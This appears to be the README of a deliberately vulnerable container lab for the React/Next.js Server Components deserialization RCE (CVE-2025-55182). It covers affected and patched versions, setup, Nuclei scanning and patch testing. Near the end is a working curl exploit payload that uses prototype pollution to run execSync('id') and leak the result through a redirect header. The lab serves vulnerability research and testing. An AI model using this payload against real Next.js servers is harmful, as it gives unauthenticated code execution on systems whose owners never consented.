React2Shell (CVE-2025-55182) Testing Environment

A containerized testing environment for CVE-2025-55182, a critical (10.0 CVSS) Remote Code Execution vulnerability in React Server Components.

⚠️ WARNING

This environment is intentionally vulnerable and should ONLY be used for:

Security research and education
Penetration testing in isolated environments
Understanding the vulnerability mechanics

DO NOT:

Deploy this to production
Expose this to the internet
Use for malicious purposes

Vulnerability Details

CVE: CVE-2025-55182 (React), CVE-2025-66478 (Next.js)
Severity: Critical (10.0)
Type: Unauthenticated Remote Code Execution
Affected: React Server Components in Next.js 15.x/16.x App Router
Weakness: CWE-502 (Deserialization of Untrusted Data)

Affected Versions

React packages:

react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js:

15.0.0 - 15.0.4
15.1.0 - 15.1.8
15.2.0 - 15.2.5
15.3.0 - 15.3.5
15.4.0 - 15.4.7
15.5.0 - 15.5.6
16.0.0 - 16.0.6

Patched Versions

React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

Quick Start

Using Podman (macOS)

# Build and start the vulnerable environment
podman compose up --build -d

# Check it's running
curl http://localhost:3000/api/status

# View logs
podman logs -f react2shell-vuln

# Stop
podman compose down

Using Docker Compose

# Build and start the vulnerable environment
docker-compose up --build -d

# Access the application at http://localhost:3000

Project Structure

.
├── README.md               # This file
├── Dockerfile              # Container build instructions
├── Dockerfile.dev          # Development container with hot reload
├── docker-compose.yml      # Docker/Podman Compose configuration
├── CVE-2025-55182.yaml     # Nuclei scanner template
├── scan.sh                 # General-purpose Nuclei scanner script
├── scan-results/           # Scan output directory
└── vulnerable-app/         # Vulnerable Next.js application
    ├── package.json        # Dependencies (vulnerable versions)
    ├── next.config.js      # Next.js configuration
    ├── tsconfig.json       # TypeScript configuration
    └── app/                # App Router pages and components
        ├── layout.tsx      # Root layout
        ├── page.tsx        # Main page with Server Components
        ├── globals.css     # Styles
        ├── actions.ts      # Server Actions
        ├── api/status/     # Status API endpoint
        └── components/     # React components

Scanning for the Vulnerability

Download the Nuclei Template

If you don't have the template, download it from the official nuclei-templates repository:

curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml

Using the Scanner Script

The included scan.sh is a general-purpose Nuclei container scanner that works with both Docker and Podman.

# Scan the local vulnerable app
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v

# Scan any target
./scan.sh -u https://example.com -t CVE-2025-55182.yaml

# Scan with all Nuclei templates
./scan.sh -u https://example.com

# Scan multiple targets from a file
./scan.sh -l targets.txt -t CVE-2025-55182.yaml

# Filter by severity
./scan.sh -u https://example.com -s critical,high

# JSON output
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j

Scanner Options

Manual Nuclei Scan (Podman)

podman run --rm \
    -v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
    docker.io/projectdiscovery/nuclei:latest \
    -t /templates/CVE-2025-55182.yaml \
    -u "http://host.docker.internal:3000" \
    -v

Testing the Vulnerability

Once the container is running:

Access the application at http://localhost:3000
Check the status API: http://localhost:3000/api/status
Run the scanner to verify vulnerability detection
The application uses React Server Components via Next.js App Router

Note: The vulnerability involves unsafe deserialization in the RSC protocol. The Nuclei template tests for this specific attack vector.

Switching to Patched Version

To test the patched version, modify vulnerable-app/package.json:

{
  "dependencies": {
    "next": "15.5.7",
    "react": "^19.1.2",
    "react-dom": "^19.1.2"
  }
}

Then rebuild:

# Podman
podman compose down
podman compose up --build -d

# Docker
docker-compose down
docker-compose up --build

References

Disclaimer

This testing environment is provided for educational and security research purposes only. The maintainers are not responsible for any misuse of this software. Always obtain proper authorization before testing security vulnerabilities.

Curl Exploit Example

curl -X POST http://localhost:3000 \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  -H "X-Nextjs-Request-Id: test123" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\\"then\\":\\"$B1337\\"}",
  "_response": {
    "_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
  -i 2>&1 | grep -i "x-action-redirect"

`-u, --url <url>`	Single target URL to scan
`-l, --list <file>`	File containing list of target URLs
`-t, --template <file>`	Custom template file or directory
`-o, --output <dir>`	Output directory (default: ./scan-results)
`-s, --severity <level>`	Filter: info, low, medium, high, critical
`-r, --rate-limit <n>`	Maximum requests per second
`-j, --json`	Output results in JSON format
`-v, --verbose`	Verbose output
`-h, --help`	Show help message

Most Popular

React2Shell-CVE-2025-55182-Testing-Environment